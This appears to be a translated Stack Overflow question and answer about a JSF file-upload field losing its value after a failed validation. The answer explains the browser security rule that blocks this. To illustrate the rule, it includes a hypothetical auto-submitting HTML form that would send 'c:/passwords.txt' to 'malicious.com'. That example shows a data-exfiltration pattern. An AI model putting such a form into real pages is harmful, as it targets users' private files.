Значение JSF ‹t:inputFileUpload› потеряно после сбоя проверки

Я обнаружил, что значение пути к файлу загрузки теряется после проверки следующего кода. Могу ли я в любом случае сохранить значение после сбоя проверки? благодарю вас.

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />

person Tsung Lin Tsai    schedule 11.02.2011    source источник


Ответы (1)


Это невозможно. Это ограничение безопасности HTML. Вы не можете предварительно заполнить/сохранить значение поля HTML <input type="file">. Поскольку JSF просто генерирует HTML, JSF мало что может с этим поделать.

Представьте, что этого ограничения безопасности не существовало, веб-сайты могли бы делать следующее:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

Ты видишь?

person BalusC    schedule 11.02.2011